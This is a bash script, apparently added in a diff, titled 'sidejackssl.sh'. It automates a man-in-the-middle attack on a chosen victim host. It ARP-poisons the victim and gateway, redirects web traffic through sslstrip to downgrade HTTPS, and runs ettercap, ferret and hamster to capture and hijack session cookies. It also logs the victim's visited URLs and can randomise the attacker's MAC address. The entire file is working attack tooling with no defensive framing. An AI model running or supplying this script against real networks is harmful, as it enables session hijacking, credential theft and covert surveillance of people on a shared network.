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+#!/bin/bash
 
 # sidejackssl.sh v0.1
 # tested in backtrack 4 R2 environment, run as root.
 # xterm used for window control
 # arpspoof poisons a single victim and gateway
 # ferret and hamster for sidejacking
 # sslstrip for https
 # ettercap for everything else
 # urlsnarf to monitor visited urls
 # firefox needs to be configured with a proxy of 127.0.0.1:1234
 # url for hamster server is http://hamster
 # by gorara
 
 # a few variables (do not change)
 m1="0"					# missing file var m1
 m2="0"					# missing file var m2
 m3="0"					# missing file var m3
 m4="0"					# missing file var m4
 quickclean="0"				# used for quick clean up
 randmac="n"				# default setting do not randomize MAC
 hamsterfile="hamster.txt"		# hamster output file (you can't change it)
 trap 'cleanup' SIGINT SIGTERM		# detect control-c
 
 # a few more variables (change these if required)
 
 # xterm window variables
 x="0"					# x offset value
 y="0"					# y offset value
 width="120"				# width value
 height="7"				# height value
 yoffset="120"				# y offset
 fgcolor="white"				# foreground color
 bgcolor="black"				# background color
 
 # style variables
 warnstyle="[\e[01;38mw\e[00m]"		# warning msgs style
 execstyle="[\e[01;32mx\e[00m]"		# execute msgs style
 infostyle="[\e[01;34mi\e[00m]"		# informational msgs style
 inputstyle="[\e[01;30m?\e[00m]"		# input msgs style
 
 # file variables
 sslstripfile="sslstrip.log"		# sslstrip output file name
 snifffile="sniff-*"			# hamster sniff file wildcard
 etterfile="etter.cap"			# ettercap output cap file
 temp="/tmp"				# temporary dir
 
 function usage
 {
 	clear
 	echo "Usage: bash $0 -i interface -t target -g gateway [-r] [-h]"
 	echo ""
 	echo "	-i interface	interface to use, ex. eth0, wlan0."
 	echo "	-t target	the target IP address."
 	echo "	-g gateway	the gateway IP address."
 	echo "	-r		randomize your MAC address,"
 	echo "			only use for wired interfaces."
 	echo "	-h		display this help screen."
 	echo ""
 	echo "	examples: "
 	echo "	 bash $0 -i eth0 -t 192.168.0.1 -g 192.168.0.254 -r"
 	echo "	 bash $0 -i wlan0 -t 192.168.0.1 -g 192.168.0.254"
 	echo ""
 	exit 0
 }
 
 function cleanup() {
 echo -e "\n$warnstyle control-c pressed! "
 
 # exit script if nothing has been modified
 if [[ "$quickclean" = "1" ]]; then
 echo -e "$infostyle nothing changed, all done!"
 exit 0
 fi
 
 echo -e "$infostyle cleaning up..."
 echo -e "$execstyle flushing iptables..."
 iptables -F
 iptables -t nat -F
 
 echo -e "$execstyle turning off IP forwarding..."
 echo "0" > /proc/sys/net/ipv4/ip_forward
 
 # change back MAC address to orignal one
 if [[ "$randmac" = "y" || "$randmac" = "Y" ]]; then
 echo -e "$execstyle resetting MAC address...";
 echo -e "$infostyle original MAC is: $origmac"
 ifconfig $interface down
 ifconfig $interface hw ether $origmac
 ifconfig $interface up
 	if [ -z $gw ]; then
 	echo -e "$warnstyle WARNING, you have no default gateway!"
 	else
 	route add default gw $gw
 	fi
 rm $temp/mac.orig
 rm $temp/gw.orig
 fi
 
 echo -e "$execstyle cleaning up files..."
 echo -e "$infostyle temp directory: "
 
 # testing to see if files exist, if so display them...
 	if [ -f $temp/$sslstripfile ]; then
 	ls $temp/$sslstripfile
 	else
 	#echo -e "$warnstyle missing $sslstripfile"
 	m1="1"
 	fi
 
 	if [ -f $temp/$etterfile ]; then
 	ls $temp/$etterfile
 	else
 	#echo -e "$warnstyle missing $etterfile"
 	m2="1"
 	fi
 
 echo -e "$infostyle current directory: "
 
 	if [ -f $snifffile ]; then
 	ls $snifffile
 	else
 	#echo -e "$warnstyle missing $snifffile"
 	m3="1"
 	fi
 
 	if [ -f $hamsterfile ]; then
 	ls $hamsterfile
 	else
 	#echo -e "$warnstyle missing $hamsterfile"
 	m4="1"
 	fi
 
 # testing to see if there are any files at all
 if [[ $m1 -eq 0 || $m2 -eq 0 || $m3 -eq 0 || $m4 -eq 0 ]]; then
 
 while [[ "$delete" != "y" || "$delete" != "n" ]]
 
 echo -en "$infostyle delete file(s)? [y/n]: "
 read delete
 
 do
     case "$delete" in
         y) delete_marker="y"; echo -e "$warnstyle deleting files!"; break;;
 	n) echo -e "$warnstyle nothing deleted!"; break;;
     	*) echo -e "$warnstyle wrong selection!";
     esac
 done
 
 # delete files as requested
 if [[ "$delete_marker" = "y" ]]; then
 	if [ -f $temp/$sslstripfile ]; then
 	rm $temp/$sslstripfile
 	fi
 
 	if [ -f $temp/$etterfile ]; then
 	rm $temp/$etterfile
 	fi
 
 	if [ -f $snifffile ]; then
 	rm $snifffile
 	fi
 
 	if [ -f $hamsterfile ]; then
 	rm $hamsterfile
 	fi
 fi
 
 else
 
 	echo -e "$warnstyle nothing to delete!"
 fi
 
 echo -e "$infostyle all done!"
 exit 0
 }
 
 
 # start main program
 if [ "$#" -eq 0 ]; then
 usage
 fi
 
 while [ "$#" -gt 0 ]
 do
     case "$1" in
         -i)  interface=$2; shift 1;;
 	-r)  randmac="y"; shift 1;;
 	-t)  target=$2; shift 1;;
 	-g)  gateway=$2; shift 1;;
 	-h)  usage;;
 	-*)  usage; break;;
 	*)  break;;
     esac
     shift
 done
 
 # required parameters
 if [[ -z $interface || -z $target || -z $gateway ]]; then
 usage
 exit 0
 fi
 
 clear
 
 if [[ "$randmac" = "y" ]]; then
 mac="yes"
 else
 mac="no"
 fi
 
 # set quick cleanup flag
 quickclean="1"
 
 echo -e "$infostyle sidejacker/sslstrip script v0.1, by gorara"
 echo -e "$infostyle ctrl-c to abort at any time."
 echo -e "$infostyle attack summary:"
 echo -e "$infostyle host $target and gateway $gateway from $interface, spoof MAC: $mac"
 
 if [[ "$randmac" = "y" ]]; then
 
 echo -e "$execstyle change of $interface MAC address requested."
 
 if [[ "$interface" = wlan* || "$interface" = wifi* || "$interface" = ath* ]]; then
 echo -e "$infostyle wireless device detected..."
 echo -e "$warnstyle can't change MAC address without taking wifi interface down"
 echo -e "$warnstyle do it manually before connecting to the AP."
 exit 0
 fi
 
 if [[ "$interface" = eth* ]]; then
 echo -e "$infostyle wired device detected..."
 echo -e "$warnstyle WARNING, this will take your wired interface down temporarily."
 echo -en "$inputstyle do you want to continue? [y/n]: "
 read continue
 	if [[ "$continue" = "y" ]]; then
 	echo -e "$infostyle proceeding..."
 	else
 	echo -e "$infostyle exiting..."
 	exit 0
 	fi
 fi
 
 origmac=`ifconfig $interface | grep HWaddr | awk {'print $5'}`
 
 fi
 
 # before this, ctrl-c will exit script without doing anything.
 quickclean="0"
 
 # use macchanger to randomize MAC address, ect.
 if [[ "$randmac" = "y" || "$randmac" = "Y" ]]; then
 echo -e "$execstyle randomizing MAC address...";
 gw=`route -n | grep UG | awk {'print $2'}` > $temp/gw.orig
 ifconfig $interface down
 macchanger -r $interface > $temp/mac.orig
 ifconfig $interface up
 	if [ -z $gw ]; then
 	echo -e "$warnstyle WARNING, you have no default gateway!"
 	else
 	route add default gw $gw
 	fi
 origmac=`cat $temp/mac.orig | grep Current | awk {'print $3'}`
 fakemac=`cat $temp/mac.orig | grep Faked | awk {'print $3'}`
 echo -e "$infostyle original MAC is: $origmac"
 echo -e "$infostyle faked    MAC is: $fakemac"
 fi
 
 echo -e "$execstyle turning on IP Forwarding..."
 echo "1" > /proc/sys/net/ipv4/ip_forward
 
 echo -e "$execstyle configuring iptables..."
 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
 sleep 1
 
 echo -e "$execstyle starting hamster  ... <logging to: $hamsterfile>"
 xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "hamster" -e /pentest/sniffers/hamster/hamster &
 sleep 2
 
 echo -e "$execstyle starting ferret   ... <logging to: console>"
 y=$(($y+$yoffset))
 xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "ferret" -e /pentest/sniffers/hamster/ferret -i $interface &
 sleep 2
 
 echo -e "$execstyle starting sslstrip ... <logging to: $temp/$sslstripfile>"
 y=$(($y+$yoffset))
 xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "sslstrip" -e sslstrip -w $temp/$sslstripfile &
 sleep 2
 
 echo -e "$execstyle starting ettercap ... <logging to: $temp/$etterfile>"
 y=$(($y+$yoffset))
 xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "ettercap" -e ettercap -Tqpi $interface -w $temp/$etterfile /$gateway/ /$target/ &
 sleep 2
 
 echo -e "$execstyle starting urlsnarf ... <logging to: console>"
 y=$(($y+$yoffset))
 xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "urlsnarf" -e urlsnarf -i $interface &
 sleep 2
 
 echo -e "$infostyle trap is ready, now to direct traffic..."
 
 echo -e "$execstyle ARP poisoning the target..."
 y=$(($y+$yoffset))
 xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "arpspoof" -e arpspoof -i $interface -t $target $gateway &
 sleep 1
 
 echo -e "$infostyle run firefox and type http://hamster"
 echo -e "$infostyle don't forget to set proxy to 127.0.0.1:1234"
 echo -e "$infostyle press ctrl-c to exit and clean up... \n"
 for ((;;)) do
 read loop
 echo -en "$infostyle press ctrl-c to terminate!"
 done
 
 exit 0